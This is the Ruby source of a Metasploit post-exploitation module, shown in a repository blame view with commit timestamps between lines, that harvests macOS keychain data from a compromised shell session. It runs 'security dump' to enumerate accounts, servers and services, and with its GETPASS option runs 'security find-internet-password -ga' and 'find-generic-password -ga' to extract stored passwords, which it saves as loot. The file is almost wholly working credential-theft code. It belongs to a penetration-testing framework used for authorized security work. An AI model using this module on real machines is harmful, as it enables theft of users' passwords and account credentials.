metasploit-framework/modules/post/osx/gather/enum_keychain.rb

133 lines
3.5 KiB
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/post/common'
class Metasploit3 < Msf::Post
2012-08-08 15:40:33 +00:00
include Msf::Post::Common
2012-08-08 15:40:33 +00:00
def initialize(info={})
super(update_info(info,
2012-08-14 20:29:21 +00:00
'Name' => 'OS X Gather Keychain Enumeration',
2012-08-08 17:44:39 +00:00
'Description' => %q{
2012-08-15 19:19:41 +00:00
This module presents a way to quickly go through the current user's keychains and
2012-08-08 19:07:51 +00:00
collect data such as email accounts, servers, and other services. Please note:
when using the GETPASS option, the user will have to manually enter the password,
and then click 'allow' in order to collect each password.
2012-08-08 15:40:33 +00:00
},
2012-08-08 17:44:39 +00:00
'License' => MSF_LICENSE,
'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>'],
'Platform' => [ 'osx' ],
'SessionTypes' => [ 'shell' ]
2012-08-08 15:40:33 +00:00
))
register_options(
2012-08-08 15:40:33 +00:00
[
2012-08-08 19:07:51 +00:00
OptBool.new('GETPASS', [false, 'Collect passwords.', false])
2012-08-08 15:40:33 +00:00
], self.class)
end
2012-08-08 15:40:33 +00:00
def list_keychains
keychains = session.shell_command_token("security list")
user = session.shell_command_token("whoami")
2012-08-08 17:44:39 +00:00
print_status("The following keychains for #{user.strip} were found:")
print_line(keychains.chomp)
return keychains =~ /No such file or directory/ ? nil : keychains
end
2012-08-08 15:40:33 +00:00
def enum_accounts(keychains)
user = session.shell_command_token("whoami").chomp
out = session.shell_command_token("security dump | egrep 'acct|desc|srvr|svce'")
2012-08-08 15:40:33 +00:00
i = 0
accounts = {}
2012-08-08 15:40:33 +00:00
out.split("\n").each do |line|
unless line =~ /NULL/
case line
2012-08-08 15:40:33 +00:00
when /\"acct\"/
i+=1
accounts[i]={}
accounts[i]["acct"] = line.split('<blob>=')[1].split('"')[1]
2012-08-08 15:40:33 +00:00
when /\"srvr\"/
accounts[i]["srvr"] = line.split('<blob>=')[1].split('"')[1]
2012-08-08 15:40:33 +00:00
when /\"svce\"/
accounts[i]["svce"] = line.split('<blob>=')[1].split('"')[1]
2012-08-08 15:40:33 +00:00
when /\"desc\"/
accounts[i]["desc"] = line.split('<blob>=')[1].split('"')[1]
end
end
end
2012-08-08 15:40:33 +00:00
return accounts
end
2012-08-08 15:40:33 +00:00
def get_passwords(accounts)
(1..accounts.count).each do |num|
if accounts[num].has_key?("srvr")
2012-08-08 17:44:39 +00:00
c = 'find-internet-password'
s = accounts[num]["srvr"]
2012-08-08 15:40:33 +00:00
else
2012-08-08 17:44:39 +00:00
c = 'find-generic-password'
s = accounts[num]["svce"]
end
2012-08-08 15:40:33 +00:00
2012-08-08 17:44:39 +00:00
cmd = session.shell_command_token("security #{c} -ga \"#{accounts[num]["acct"]}\" -s \"#{s}\" 2>&1")
cmd.split("\n").each do |line|
if line =~ /password: /
unless line.split()[1].nil?
accounts[num]["pass"] = line.split()[1].gsub("\"","")
2012-08-08 15:40:33 +00:00
else
accounts[num]["pass"] = nil
end
end
end
end
return accounts
end
2012-08-08 15:40:33 +00:00
2012-08-08 17:44:39 +00:00
def save(data)
l = store_loot('macosx.keychain.info',
2012-08-08 15:40:33 +00:00
'plain/text',
session,
data,
2012-08-08 17:44:39 +00:00
'keychain_info.txt',
2012-08-08 15:40:33 +00:00
'Mac Keychain Account/Server/Service/Description')
2012-08-08 17:44:39 +00:00
print_good("#{@peer} - Keychain information saved in #{l}")
end
2012-08-08 15:40:33 +00:00
def run
@peer = "#{session.session_host}:#{session.session_port}"
2012-08-08 17:44:39 +00:00
keychains = list_keychains
if keychains.nil?
print_error("#{@peer} - Module timed out, no keychains found.")
return
2012-08-08 17:44:39 +00:00
end
user = session.shell_command_token("/usr/bin/whoami").chomp
accounts = enum_accounts(keychains)
save(accounts)
if datastore['GETPASS']
begin
2012-08-08 15:40:33 +00:00
passwords = get_passwords(accounts)
2012-08-08 17:44:39 +00:00
rescue
print_error("#{@peer} - Module timed out, no passwords found.")
2012-08-08 19:04:49 +00:00
print_error("#{@peer} - This is likely due to the host not responding to the prompt.")
end
2012-08-08 17:44:39 +00:00
save(passwords)
end
end
2012-08-08 15:40:33 +00:00
end